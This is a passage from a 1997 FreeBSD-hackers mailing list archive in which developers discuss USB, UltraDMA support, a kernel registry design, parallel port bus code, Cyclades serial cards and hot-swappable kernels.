decoders. The cinema and audio industries freaked > out when they saw the potential for digital duplicates. DVD is encrypted > on the media and passed through a decoder. I am certainly no expert, but > it does require additional hardware support, above and beyond the host > interface. Hmm. No documentation or hardware generally available? > Kevin -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Aug 5 20:15:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA23968 for hackers-outgoing; Tue, 5 Aug 1997 20:15:10 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA23962 for ; Tue, 5 Aug 1997 20:15:03 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id MAA02934; Wed, 6 Aug 1997 12:44:52 +0930 (CST) From: Michael Smith Message-Id: <199708060314.MAA02934@genesis.atrad.adelaide.edu.au> Subject: Re: Registry reviewers? In-Reply-To: <199708051050.MAA26530@truk.brandinnovators.com> from Hans Zuidam at "Aug 5, 97 12:50:57 pm" To: hans@brandinnovators.com (Hans Zuidam) Date: Wed, 6 Aug 1997 12:44:52 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hans Zuidam stands accused of saying: > > Michael Smith wrote: > > If I were to just slip it in parallel with the sysctl code, would anyone > > notice? 8) > Forgive my ignorance, but what does the registery code actually do that > cannot be done with sysctl? Is this "in general" or "specifically"? The most significant differences are that it uses method-based access to data, ie. the node supplies methods rather than a data pointer, and it tries harder to hide the innards of the data storage from the consumer. > Hans -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Aug 5 21:58:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA29115 for hackers-outgoing; Tue, 5 Aug 1997 21:58:02 -0700 (PDT) Received: from www2.shoppersnet.com (shoppersnet.com [204.156.152.112]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA29108; Tue, 5 Aug 1997 21:57:58 -0700 (PDT) Received: (from hlew@localhost) by www2.shoppersnet.com (8.8.5/8.8.5) id WAA12056; Tue, 5 Aug 1997 22:01:49 -0700 (PDT) Date: Tue, 5 Aug 1997 22:01:49 -0700 (PDT) From: Howard Lew To: Atipa cc: Michael Smith , hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 5 Aug 1997, Atipa wrote: > > > On Wed, 6 Aug 1997, Michael Smith wrote: > > > Atipa stands accused of saying: > > > > > > Any news on the following high-demand technologies? > > > > > > Universal Serial Bus (USB) > > > http://www.usb.org (503)264-0590 > > > Modular, _Powered_ I/O w/ neato hubs > > > 12Mbit/sec, up to 127 devices > > > > There are several developers working on this. IMHO USB is an abomination > > with "Job Security" written on almost every page of the spec. 8( > > Ha. I see no NEED for USB; only added convenience. It would be easier to > deal with than a cyclades! If a good API were present, it would be a nice > "geek-port" type of interface. > > This type of interface, if well supported, would make computers EASIER. I > know that is not the main concern of people in this group (who are oviously > technically adept), but it is still a noble goal. One that is especially > appreciated by those of us in the support industry! :) > > > > Intel 430TX Chipset / PIIX3 Controller > > > built-in UltraDMA IDE (33MByte/sec) > > > support for SDRAM > > > built-in USB > > > > All of these either require no support, are already supported, or have been > > discussed above. > > I do not believe UltraDMA is supported. The PIIX3 is quite a bit > different than the PIIX2, with the RTC and USB built in. > UltraDMA is starting to get support. New drives by Quantum are now starting to have Ultra DMA/33. > > > > DVD CD-ROMs and hardware decoders > > How are they different from "normal" CD-ROMs? > > They require hadware decoders. The cinema and audio industries freaked > out when they saw the potential for digital duplicates. DVD is encrypted > on the media and passed through a decoder. I am certainly no expert, but > it does require additional hardware support, above and beyond the host > interface. > > Kevin > --------------------------------------------------------------------------- Shoppers Network (Support) AMD K5/K6s, Cyrix 6x86, Intel Pentiums/Pro Phone: (415) 759-8584 Email: howard@shoppersnet.com ==============================> WWW - http://www.shoppersnet.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From owner-freebsd-hackers Tue Aug 5 22:05:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA29545 for hackers-outgoing; Tue, 5 Aug 1997 22:05:31 -0700 (PDT) Received: from onyx.atipa.com (user19051@ns.atipa.com [208.128.22.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id WAA29540 for ; Tue, 5 Aug 1997 22:05:29 -0700 (PDT) Received: (qmail-queue invoked by uid 1018); 6 Aug 1997 05:07:42 -0000 Date: Tue, 5 Aug 1997 23:07:41 -0600 (MDT) From: Atipa X-Sender: freebsd@dot.ishiboo.com To: Howard Lew cc: hackers@freebsd.org Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > > Intel 430TX Chipset / PIIX3 Controller > > > > built-in UltraDMA IDE (33MByte/sec) > > > > support for SDRAM > > > > built-in USB > > > > > > All of these either require no support, are already supported, or have been > > > discussed above. > > > > I do not believe UltraDMA is supported. The PIIX3 is quite a bit > > different than the PIIX2, with the RTC and USB built in. > > > > UltraDMA is starting to get support. New drives by Quantum are now > starting to have Ultra DMA/33. > The drives are out, but the driver is not yet supported under FreeBSD (to the best of my knowlegde). IBM also has UDMA drives shipping. I know the standard PIIX2 bus-master drivers (Win95, Linux) will not cut it. They still use only DMA-2 (about 20MB/sec). The default IDE driver will certainly work, but it will not take full advantage of the interface. Kevin From owner-freebsd-hackers Tue Aug 5 22:11:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA29759 for hackers-outgoing; Tue, 5 Aug 1997 22:11:42 -0700 (PDT) Received: from www2.shoppersnet.com (shoppersnet.com [204.156.152.112]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA29754 for ; Tue, 5 Aug 1997 22:11:39 -0700 (PDT) Received: (from hlew@localhost) by www2.shoppersnet.com (8.8.5/8.8.5) id WAA12544; Tue, 5 Aug 1997 22:15:33 -0700 (PDT) Date: Tue, 5 Aug 1997 22:15:33 -0700 (PDT) From: Howard Lew To: Atipa cc: hackers@freebsd.org Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 5 Aug 1997, Atipa wrote: > > > > > > Intel 430TX Chipset / PIIX3 Controller > > > > > built-in UltraDMA IDE (33MByte/sec) > > > > > support for SDRAM > > > > > built-in USB > > > > > > > > All of these either require no support, are already supported, or have been > > > > discussed above. > > > > > > I do not believe UltraDMA is supported. The PIIX3 is quite a bit > > > different than the PIIX2, with the RTC and USB built in. > > > > > > > UltraDMA is starting to get support. New drives by Quantum are now > > starting to have Ultra DMA/33. > > > The drives are out, but the driver is not yet supported under FreeBSD (to > the best of my knowlegde). IBM also has UDMA drives shipping. Yes, that's true. I don't think FreeBSD supports UDMA, but then again most Unix users still prefer to use SCSI drives over IDE. The price of SCSI drives is still somewhat of an issue though. IMHO SCSI is a much better Unix solution than IDE even with UDMA. From owner-freebsd-hackers Tue Aug 5 22:35:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA00751 for hackers-outgoing; Tue, 5 Aug 1997 22:35:20 -0700 (PDT) Received: from luna.e-planet.com (luna.e-planet.com [192.203.7.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA00744; Tue, 5 Aug 1997 22:35:18 -0700 (PDT) Received: by LUNA.e-planet.com with Internet Mail Service (5.0.1458.49) id ; Tue, 5 Aug 1997 22:34:47 -0700 Message-ID: <0FDE707975DCD0119E75006097C2ED880296AE@LUNA.e-planet.com> From: "Rahimi, Ali" To: Michael Smith , freebsd@atipa.com Cc: sthaug@nethelp.no, hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: RE: Status of USB, TX chipset, PIIX3, etc. Date: Tue, 5 Aug 1997 22:34:46 -0700 X-Priority: 3 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1458.49) Content-Type: text/plain Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk [usb is hard] [people push usb like slaves pushed stones near the Nile] Agreed. >It would also be foolish to leap in in a hurry and waste scarce >developer resources on the next fad. Not so if every major manufacturer is looking at USB and if you're intereseted in staying competitive. >I think that the lack of peripheral support is telling; particularly I think it's telling of the fact that most PCs don't have a USB port on them yet. Compaq and Dell will soon be shipping with USB ports however. USB will be here soon. Whether it will be a success, I don't know, I'm not an analyst, PCs with USB ports will be here. >the custom silicon that is almost critical to producing a >cost-effective peripheral just hasn't made it to market yet. At the I regularly go to 7 different silicon manufacturers when I'm looking for parts. I went through all 7 of them (they're bookmarked in my netscape). 5 of them had a USB support chipset (the other two were memory companies). I'd say the silicon has made it to market. (the manufacturers, for your reference include TI, National, NEC,Motorola, etc). >moment, a peripheral vendor has to undertake development of peripheral >firmware several orders of magnitude more complex than anything that >has ever been seen before, or wait for the silicon. >Not being stupid, most are taking the latter approach. No, I think most are waiting for the PCs to have the USB port in the back. I can't wait to not have to hook up my mouse, my keyboard and my speakers to three different looking and completely separate and dispersed jacks. ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ Ali. From owner-freebsd-hackers Tue Aug 5 23:10:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA01846 for hackers-outgoing; Tue, 5 Aug 1997 23:10:50 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA01841 for ; Tue, 5 Aug 1997 23:10:48 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id XAA13793; Tue, 5 Aug 1997 23:09:39 -0700 (PDT) To: Ben Black cc: hackers@FreeBSD.ORG Subject: Re: BootEasy, barracudas, and psm0 problems In-reply-to: Your message of "Tue, 05 Aug 1997 21:30:05 EDT." Date: Tue, 05 Aug 1997 23:09:39 -0700 Message-ID: <13789.870847779@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk This should have been sent to freebsd-questions; please address questions there in the future. > 1) whenever i install booteasy on a seagate barracuda it gives me the > normal F1.......BSD stuff, but pressing F1 just gives me the prompt > again. if i use the boot floppy to boot sd(0,a)kernel then the system And this is covered in the HARDWARE.TXT file and the FAQ, either one of which you should have read. :) You have a geometry mismatch problem. Jordan From owner-freebsd-hackers Tue Aug 5 23:30:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA02518 for hackers-outgoing; Tue, 5 Aug 1997 23:30:02 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA02467; Tue, 5 Aug 1997 23:29:54 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.6/8.8.5) with SMTP id XAA01367; Tue, 5 Aug 1997 23:29:14 -0700 (PDT) Date: Tue, 5 Aug 1997 23:29:13 -0700 (PDT) From: "Jamil J. Weatherbee" To: Atipa cc: sthaug@nethelp.no, hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk It needs to be faster --- ramp that 12MBit/sec up to 200MBit/sec and then we can talk.... Do you know if it uses differential rx and tx signal lines? On Tue, 5 Aug 1997, Atipa wrote: > > > On Tue, 5 Aug 1997 sthaug@nethelp.no wrote: > > > > Any news on the following high-demand technologies? > > > > > > Universal Serial Bus (USB) > > > http://www.usb.org (503)264-0590 > > > Modular, _Powered_ I/O w/ neato hubs > > > 12Mbit/sec, up to 127 devices > > > > Just where did you see this high demand for USB? I sure haven't noticed > > it. > > It has very good potential. You can put several different types of > devices on it, including but not limited to: keyboards, mice, modems, > cameras, network cards, cd-roms, DATs, ZIP/Jaz/SyQuest, scanners, > printers, etc. > > It auto-detects the presence of devices with no need to reboot. Providing > power allows for MUCH nicer cabling. With the powers that be* supporting > USB, it would be foolish to show up late to the party. > > Even without broad peripheral support, consumer demand is high. It is our > business to fill demands for hardware, and I can tell you lots of > people are very interested. > > Kevin > > * From the FAQ: > > Who created USB anyway? > USB was developed by a group of seven companies that saw a > need for an interconnect to enable the growth of the > blossoming Computer Telephony Integration Industry. > The seven promoters of the USB definition are; Compaq, Digital > Equipment Corp, IBM PC Co., Intel, Microsoft, NEC > and Northern Telecom. > From owner-freebsd-hackers Tue Aug 5 23:39:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA03041 for hackers-outgoing; Tue, 5 Aug 1997 23:39:13 -0700 (PDT) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA03027 for ; Tue, 5 Aug 1997 23:39:06 -0700 (PDT) Received: (from sos@localhost) by sos.freebsd.dk (8.8.6/8.7.3) id IAA01471; Wed, 6 Aug 1997 08:37:41 +0200 (MEST) From: Søren Schmidt Message-Id: <199708060637.IAA01471@sos.freebsd.dk> Subject: Re: Parallel port bus code? In-Reply-To: <199708060142.LAA01723@genesis.atrad.adelaide.edu.au> from Michael Smith at "Aug 6, 97 11:12:11 am" To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Wed, 6 Aug 1997 08:37:41 +0200 (MEST) Cc: terry@lambert.org, msmith@atrad.adelaide.edu.au, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In reply to Michael Smith who wrote: > Terry Lambert stands accused of saying: > > > Looks like it's my week to be ignored. I've had exactly one response > > > to my announcement last week of the new parallel port 'bus' code. > > > > > > Should I take this as an implicit go-ahead and splat it in? > > > > If you think it works, I'd say "go for it". Have you worked out > > any PLIP/ZIP-driver/LAPlink issues already? > > The current ppbus code layers so : > > +--------------+---------+-----+------+ > | ppa3/vp0/Zip | new_lpt | ppi | ?? | > +--------------+---------+-----+------+ > | ppbus primitives | > +--------------------+----------------+ > | ppc (ISA chipsets) | ? | > +--------------------+----------------+ > > ppc ISA parallel port access code (works, need more chipset support) > ppbus Bus code (works) > ppa3 Parallel Zip driver (works) > new_lpt Traditional printer driver (works, polled mode only) > ppi User-space parallel port access (under development) NICE !! > Notably, there is no 'lp' replacement yet. The new code will coexist > (but not share ports) with the old 'lpt' driver, so I think it's time > to give it some wider exposure, particularly if this shakes any more > bugs (or developers) out. Well, I use an awfull hack here to communicate with small LCD displays via the parallel port, this seems like the opportunity to get some support for that too.. > ftp://smith.net.au/ppa/ppbus-970730.tgz I'll take a look.. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-hackers Tue Aug 5 23:39:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA03087 for hackers-outgoing; Tue, 5 Aug 1997 23:39:22 -0700 (PDT) Received: from critter.dk.tfs.com ([140.145.230.252]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA03048; Tue, 5 Aug 1997 23:39:14 -0700 (PDT) Received: from critter.dk.tfs.com (localhost [127.0.0.1]) by critter.dk.tfs.com (8.8.6/8.8.5) with ESMTP id HAA01343; Wed, 6 Aug 1997 07:40:47 +0200 (CEST) To: Atipa cc: sthaug@nethelp.no, hackers@freebsd.org, freebsd-current@freebsd.org From: Poul-Henning Kamp Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-reply-to: Your message of "Tue, 05 Aug 1997 15:41:45 MDT." Date: Wed, 06 Aug 1997 07:40:47 +0200 Message-ID: <1341.870846047@critter.dk.tfs.com> Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message , Atipa wri tes: > > >On Tue, 5 Aug 1997 sthaug@nethelp.no wrote: > >> > Any news on the following high-demand technologies? >> > >> > Universal Serial Bus (USB) >> > http://www.usb.org (503)264-0590 >> > Modular, _Powered_ I/O w/ neato hubs >> > 12Mbit/sec, up to 127 devices >> >> Just where did you see this high demand for USB? I sure haven't noticed >> it. > >It has very good potential. So did MCA bus, EISA bus, IBM RT/6150, MULTICS and so on. There's a wide gap between "very good potential" and "high-demand". -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@tfs.com TRW Financial Systems, Inc. Power and ignorance is a disgusting cocktail. From owner-freebsd-hackers Tue Aug 5 23:45:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA03651 for hackers-outgoing; Tue, 5 Aug 1997 23:45:59 -0700 (PDT) Received: from nasu.utsunomiya-u.ac.jp (nasu.utsunomiya-u.ac.jp [160.12.128.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA03023 for ; Tue, 5 Aug 1997 23:39:02 -0700 (PDT) Received: from outmail.utsunomiya-u.ac.jp (outmail.utsunomiya-u.ac.jp [160.12.196.3]) by nasu.utsunomiya-u.ac.jp (8.8.4+2.7Wbeta4/3.5Wpl3) with ESMTP id PAA31133; Wed, 6 Aug 1997 15:37:50 +0900 (JST) Received: from zodiac.mech.utsunomiya-u.ac.jp (Iz24eswuMbBHjI6fsRcRauWEWMag1j1t@zodiac.mech.utsunomiya-u.ac.jp [160.12.33.1]) by outmail.utsunomiya-u.ac.jp (8.8.4+2.7Wbeta4/3.5Wpl3) with ESMTP id PAA02109; Wed, 6 Aug 1997 15:37:49 +0900 (JST) Received: from zodiac.mech.utsunomiya-u.ac.jp (zodiac.mech.utsunomiya-u.ac.jp [160.12.33.1]) by zodiac.mech.utsunomiya-u.ac.jp (8.7.6+2.6Wbeta7/3.4W/zodiac-May96) with ESMTP id PAA00516; Wed, 6 Aug 1997 15:43:33 +0900 (JST) Message-Id: <199708060643.PAA00516@zodiac.mech.utsunomiya-u.ac.jp> To: Ben Black cc: hackers@freebsd.org, yokota@zodiac.mech.utsunomiya-u.ac.jp Subject: Re: BootEasy, barracudas, and psm0 problems In-reply-to: Your message of "Tue, 05 Aug 1997 21:30:05 -0400." References: Date: Wed, 06 Aug 1997 15:43:32 +0900 From: Kazutaka YOKOTA Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >i am currently having 2 problems. the first i am certain can be solved >inside freebsd, the second may be hardware. [...] >2) psm0 is correctly probed at boot but cat /dev/psm0 gives the error >Resource Temporarily Unavailable. obviously nothing that wants to use >the mouse can find it. This is normal; psm0 is a "non-blocking" device which returns immediately if no data is available. The X server or `moused' which use the device DO know this and have no problem. Kazu From owner-freebsd-hackers Wed Aug 6 00:17:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA05085 for hackers-outgoing; Wed, 6 Aug 1997 00:17:21 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA05064; Wed, 6 Aug 1997 00:17:14 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.6/8.8.5) with SMTP id AAA00221; Wed, 6 Aug 1997 00:16:40 -0700 (PDT) Date: Wed, 6 Aug 1997 00:16:40 -0700 (PDT) From: "Jamil J. Weatherbee" To: Atipa cc: hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Sessreg, and Webramp M3 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk 1. Has anyone out there managed to get sessreg to work correctly -- I don't have the source but I plan on taking a look at it soon, I'd like to get it working beacuse I have some x-terminals that I am running xdm for on my freebsd server and I'd like it to be show in utmp/wtmp etc. when a user on one of those logs in. 2. How would a person with multiple modems attached (suppose through a cyclades card) make a freebsd do whatever tricks the Webramp M3 does with uses multiple modems on presumably multiple IP addresses, much like a multihoned network but without gated. From owner-freebsd-hackers Wed Aug 6 00:24:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA05525 for hackers-outgoing; Wed, 6 Aug 1997 00:24:39 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA05504; Wed, 6 Aug 1997 00:24:30 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.6/8.8.5) with SMTP id AAA00229; Wed, 6 Aug 1997 00:22:45 -0700 (PDT) Date: Wed, 6 Aug 1997 00:22:45 -0700 (PDT) From: "Jamil J. Weatherbee" To: "Michael L. VanLoon -- HeadCandy.com" cc: Tom , Atipa , sthaug@nethelp.no, hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: <199708052328.QAA07056@MindBender.serv.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk If usb was runnning at 800mbps i'd throw away all scsi drives and use it for everything. On Tue, 5 Aug 1997, Michael L. VanLoon -- HeadCandy.com wrote: > > >> cameras, network cards, cd-roms, DATs, ZIP/Jaz/SyQuest, scanners, > >> printers, etc. > > > Ugh... network cards can pull 10mbs easily, cdroms can do 8mbs and > >higher, Jaz drives can do 16mbs easily, and you are going to put all of > >this stuff on a shared 12mbs bus? Ugh... > > It's pretty unlikely you'll be saturating all those devices at the > _same_ time. And nobody is going to _force_ you to buy USB > peripherals, if you have higher-demand situations. Standard PCI, > SCSI, and in the future FireWire, devices will still exist for server > situations. > > ----------------------------------------------------------------------------- > Michael L. VanLoon michaelv@MindBender.serv.net > --< Free your mind and your machine -- NetBSD free un*x >-- > NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, > Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... > NetBSD ports in progress: PICA, others... > ----------------------------------------------------------------------------- > From owner-freebsd-hackers Wed Aug 6 00:32:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA05997 for hackers-outgoing; Wed, 6 Aug 1997 00:32:25 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA05992 for ; Wed, 6 Aug 1997 00:32:22 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.6/8.8.5) with SMTP id AAA00249; Wed, 6 Aug 1997 00:30:27 -0700 (PDT) Date: Wed, 6 Aug 1997 00:30:27 -0700 (PDT) From: "Jamil J. Weatherbee" To: Brian Somers cc: "Brian J. McGovern" , hackers@FreeBSD.ORG Subject: Re: Suggestions for extending minor numbers... In-Reply-To: <199708052302.AAA29396@awfulhak.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk 4 cyclades 64 port cards in a freebsd machine sounds like a rockin terminal server to me -- you could run it as an isdn terminal server if it was connected via 100baseT, but you would probably want at least 128MB of ram in the thing don't you think -- not to mention wouldn't it need to be a ppro200 to really handle that? Anyway I'd love to see someone actually running something like that. I can't remember if cyclades 64 port cards are syncronous or what -- i saw then at a trade show and bought an 8 port job the type with the octopuss cable the tends to get tangled -- damn good card and company in my opinion, although my version I don't think is synchronous so I don't know how good that would be for running an isdn TA. On Wed, 6 Aug 1997, Brian Somers wrote: > > Well, I've got my driver working for the 8 port Cyclades cards. Now its > > time to work on the 64 port cards. > > > > As you can see, if I have a call in, call out, call in initial state, call > > out initial state, call in lock state, and call out lock state, I'm > > going to need 384 minor numbers, which is already over the 8-bit limit > > on minor numbers. If I choose to support multiple boards, I could use > > between 768, and 1536 minor numbers, possibly more in machines with more than > > 4 PCI slots. With the % of CPU per board the driver is taking, 3 of these > > 64 port boards should be possible.... > > > > Anyhow, I've considered dropping initial and lock state devices, and use > > a different major number for each of the boards. I'm curious to see if this > > is a "reasonable thing to do" (tm), or whether this is a better way to go > > that I haven't yet figured out. > > > > Suggestions anyone? > > Is there an 8-bit limit ? > dev:/dev $ l /dev/rsd0s1 > crw-r----- 1 root operator 13, 0x00020002 Sep 3 1996 /dev/rsd0s1 > > Looks like 32 bits to me :-) > > > -Brian > > -- > Brian , > > Don't _EVER_ lose your sense of humour.... > > > From owner-freebsd-hackers Wed Aug 6 01:10:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA07269 for hackers-outgoing; Wed, 6 Aug 1997 01:10:24 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA07262 for ; Wed, 6 Aug 1997 01:10:20 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.6/8.8.5) with SMTP id AAA00287; Wed, 6 Aug 1997 00:56:38 -0700 (PDT) Date: Wed, 6 Aug 1997 00:56:38 -0700 (PDT) From: "Jamil J. Weatherbee" To: Michael Smith cc: Terry Lambert , hackers@FreeBSD.ORG Subject: Hot Swappable Kernels In-Reply-To: <199708060133.LAA01644@genesis.atrad.adelaide.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I know this may sound kind of lame: I was thinking last night of what would be required to have a hot swappable kernel.. i.e. being able to compile the kernel binary (probably) modules and then insert it into a running system while maintaining its running status --- to my knowledge kernel recompiles are the only reason a perfectly rebooting system needs to come down every once in a while. 1. The kernel would obviously have to be broken into smaller pieces with well documented dependencies on any kernel structures. 2. Programs that look directly into /kernel would obviously need to be modernized. 3. The kernel installation process would need to have knowledge of any changed data structures and how to move that data to new structures i.e. version numbers on kernel data structures. Also device drivers might also need to be able to do a hot reinitialization. I know that such a thing is entirely possible -- it is just a matter of software --- the only time a machine needs to reboot these days is when a piece of hardware fails or needs to be installed --- but there are solutions even for that as you well know. The only thing I can think that might be stubborn are some things like network cards that can be put into unknown states if not handled properly. 5. An alternative to making the kernel dynamically sized would be to leave a margin for hot swaps, like if you know your kernel needs 1.5mb then reserve 3 of that type of memory for future swaps. At very least most system calls should be able to be replaced on the fly -- especially considering that these days it is taking longer and longer for machines to boot up (you should see the boot time on my micron ppro, I have know Idea what that thing does for the 2 minutes it sits there booting up) On Wed, 6 Aug 1997, Michael Smith wrote: > Terry Lambert stands accused of saying: > > > Do I take it that nobody has actually looked at the registry code > > > (documented, commented for Steven's delectation) that I mentioned > > > last week? > ... > > I saw the announcement, but have not grabbed the code. > > > > Do you have a higher level architectural overview? > > Not on paper, no. To put it very simplisitically : > > Intent: > - To provide a uniform, managed namespace for in-kernel data resources. > - To address some of the shortcomings of the sysctl mechanism, most > particularly support for more complex datatypes and method-based > access. > > Principal consumers: > - Parameter-hungry subsystems (PCI, PnP, PCCARD, network interfaces, etc.) > - User-space applications wishing to access/manipulate kernel-private > data. > > Structure: > - We have a period-delimited hierarchical namespace, with support for > lookup by name or by oid (for sysctl compatability). > - Nodes within the namespace may have attached access methods. > - Access methods are keyed by name/type, requested data type, etc., > ie. a node may have a number of access methods. > - Support is implicit for single values, arrays and pointers, as well > as methods that have no data per se. > > > For example, are you doing kernel level file I/O to implement the > > thing? > > No. At this 